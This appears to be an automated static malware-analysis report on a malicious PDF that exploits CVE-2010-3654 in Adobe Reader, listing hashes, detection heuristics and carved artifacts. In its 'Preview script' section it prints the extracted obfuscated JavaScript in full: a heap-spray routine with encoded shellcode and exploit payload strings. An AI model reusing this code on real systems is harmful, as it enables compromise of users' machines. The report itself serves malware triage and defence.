Malicious PDF — malware analysis report

Static analysis result for SHA-256 0ee161c0f0450c01…

MALICIOUS

PDF

315.0 KB Created: 2010-11-12 16:05:24 +08:00 Authoring application: pdfFactory Pro www.fineprint.cn (via pdfFactory Pro 2.53 (Windows XP Professional Chinese)) First seen: 2013-06-29
MD5: 06830e3b13d06eb9170321329416da47 SHA-1: 312497a851a163a1c6f8b9c96e8ed07163b01b57 SHA-256: 0ee161c0f0450c017d231eb2792f652e5e88497858c92c05bd8580dd0a436de1
342 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains an embedded Flash object that exploits CVE-2010-3654, a known vulnerability in Adobe Reader. The embedded JavaScript is heavily obfuscated but appears to be responsible for downloading and executing a second-stage payload. The ClamAV detection of 'Win.Trojan.Agent-36159' further confirms the malicious nature of the file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8518

Heuristics 11

  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • ClamAV: Win.Trojan.Agent-36159 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-36159
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • External URI info PDF_URI
    PDF contains an external URL action
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fineprint.cn PDF link annotation
    • http://100.cca.gov.twIn PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 13

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x397 2609 bytes
SHA-256: cc9b77fe5268534908d1d79007b373003919745a1e2089b101ba8a266c485512
Detection
ClamAV: Win.Trojan.Agent-36159
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ss;//ahlfah

for(i=0;i<18000;i++)

ss = ss+0x70;

function rep(str)
{
	var sc='';
	for(var i=2;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=6) 
	sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
	return sc;
}

var une = unescape;

var sc = "48c8d94874d948f42448eeba48dee04829dc485fc9483ab1485731488314481c0148243c485a0748dcde4859ee48dcda48e0ee48ef8148842e48e95548e0de48dcde4896654857d248fc9848b255486be648fc8848d665489ee64895f6488d2d4895654857e248ce9a48dfa648b61b48aa5548e3ce48ef2b48a92748719f4825ed4807ed485ee148e4ce48941c481dd648ed254806dd480bae48e72f4895f148823948be6548dffa48863348d055486ba548c080483ded48d85548e36548771b4802b748ef6248633548d81d48e08448238d481cb948dbe548139b488357487912488e8c4897114823da481c99488b21487916489cb448e08648dcce481fee48d4a9481fbc48288948a76748b626486dee482899481fbe48d4a9489711482326481c99488b21486b1e48d09148a765481c2648dae648ec5e48a06f482b3c48b711483426481faf4823214885f848cc24482aba484d7148e84248aa04487b434803a3480cc948dcda48dddb48dcdf4877eb48dcdd48e3da48dcde";
sc = une(rep(sc));

var p = unescape;
var len = "\x6c\x65\x6e\x67\x74\x68";
var s2 = "\x73\x75\x62\x73\x74\x72\x69\x6e\x67";
var s3 = "\x73\x75\x62\x73\x74\x72";
function a(__){var _='';for(var ___=0;___<__[len];___+=4) _+='%'+'u'+__[s3](___,4);return _;}
function s()
{
c=p(a("58585858"));
while(c[len] + 20 + 8 < 0x10000) c = c + c;
b = c[s2](0,(0x5858-0x24)/2);
b += p(a("585858582fe10700deadbeefb00bface5868585849190700cccccccc48ef0700156f0700cccccccc90840700908407009084070090840700908407009084070090330700908407000c0c0c0c9084070090840700908407009084070090840700908407009084070090840700159907000124000172f707000104000115bb070010000000154d070015bb070003007ffe7fb2070015bb070000110001a8ac070015bb070001000001a8ac070072f707000011000152e207005c540700ffffffff0100000100000000010400011000000000400000d731070015bb0700905a9054154d0700a722070015bb0700eb5a5815154d0700a722070015bb07001a8b1889154d0700a722070015bb0700c0838304154d0700a722070015bb070004c2fb81154d0700a722070015bb070058585858154d0700a722070015bb0700ee7505eb154d0700a722070015bb0700e6e8ffff154d0700a722070015bb070090ff9090154d0700a722070015bb070090909090154d0700a722070015bb070090909090154d0700a722070015bb0700ffff90ff154d0700d7310700112f0700"));
b += sc;
b += c;
d = b[s2](0,0x10000/2);
e = c[s2](0,0x8000-(0x1020-0x08)/2);
while(d[len] < 0x80000) d+=d;
_3 = d[s2](0,0x80000-(0x1020-0x08)/2);
_4= new Array();
_5 =    new Array();
for(i=0;i<0x300;i=i+1)
for(j=0;j<16;j++)
 _5[i*16+j]=e+"y";

for(i=0;i<0x300;i=i+1)
for(j=0;j<15;j++)
 _5[i*16+j]=null;


for(i=0;i<0x1E0;i=i+1)	_4[i]				=_3		+ "s";
}
s();
stream_011_off00018dd8.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x18DD8 13181 bytes
SHA-256: 3936ffdc8106abdc179d8c35b271ab1e3cba1f4aabad7952dd0dc72a489624d5
objstm_0027_00.bin pdf-objstm-decoded PDF /ObjStm 27 0 obj (inflated) 1170 bytes
SHA-256: 667b2c75ccf7ac530ab7ab1335ed88701c878c9bd33ce7626a853b18be32e7d1
font_00_sfnt_off0001be5c.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1BE5C 68056 bytes
SHA-256: 95cb583b460b4a36e752844ef7447450df261865cbd9e66c596541230c1b9961
font_01_sfnt_off000248d6.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x248D6 9204 bytes
SHA-256: 4fea26d60e714581cf4b8597cf5cdf3806e3198c789aa48beacfe9fd4faf3b51
font_02_sfnt_off00026842.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x26842 8568 bytes
SHA-256: ad7c77fb8e339e9befc386a6ef9f159184a8960e92351d6f761ba9046e9095fc
font_03_sfnt_off000289bb.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x289BB 71152 bytes
SHA-256: 2c61db7b255f6a13184eb55b08f98bfc60383183da886a607bb9e90c9e27def6
font_04_sfnt_off00031b48.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x31B48 73524 bytes
SHA-256: 11e296a4cc19a14fa99e0933229fb082d3b79d68b9b9fca3923c9f05709e036f
font_05_sfnt_off0003b1b3.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3B1B3 72796 bytes
SHA-256: 6fa4cff8541caa58db133a0a159ecfa17e1d6dfa917cfada26bd25d20fa6d91c
font_06_sfnt_off0004445d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4445D 59432 bytes
SHA-256: ba4d67f4081bc1a581551c8f616bf9422595207438fd88cf70e4308a16b88c0f
font_07_sfnt_off0004be8d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4BE8D 3200 bytes
SHA-256: da221eaf9c0703b15f52b4a6970fa71a439df3d18f75c8d84d8a42bde6044dfb
polyglot_child_pdf_off00018c79.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x18C79 221102 bytes
SHA-256: 61948d98680e48aff6e2fd436ee823bbaaa121e700d2e25ea8fffc53a71c81be
polyglot_child_pdf_off0004d43a.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x4D43A 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.